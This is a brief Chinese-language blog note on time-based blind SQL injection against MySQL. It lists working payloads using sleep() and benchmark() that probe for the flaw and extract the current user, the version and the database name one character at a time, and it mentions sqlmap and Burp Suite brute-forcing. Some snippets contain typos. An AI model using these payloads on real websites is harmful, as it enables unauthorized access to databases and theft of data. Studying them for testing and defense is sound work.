SQL注入--延时注入笔记(也称为基于时间的盲注)

延迟注入(时间盲注)

延时注入是通过页面返回的时间来判断的
不同的mysaql数据库版本,延迟注入语句也不同
mysql>=5.0的可以使用sleep()进行查询
mysql<5.0的可以使用benchmark()进行查询
benchmark用法
benchmark(n,sql语句)n为查询次数
通过查询次数增多时间变得缓慢来判断是否存在延迟
select benchmark(1000,select*from admin);
sleep()延迟注入用法
sleep可以强制产生一个固定的延迟。
sleep()延迟注入核心原理
and if(true,sleep(5),0);== F(1=1,true,false);
id=1 and sleep(5)判断下是否存在延迟注入
and if(substring(user(),1,4)=‘root’,sleep(5),1)判断当前用户
and if(MID(version(),1,1)LIKE 5,sleep(5),1)判断数据库版本信息是否为5可以去猜解他的数据库名称
and if(asci(substring(database(),1,4))>100,sleep(5),1)
sqlmap --time -sec=2延迟注入

可用burp suite中的爆破模块来跑,详细见笔记

https://www.cnblogs.com/startingpoint-fly/p/11158011.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值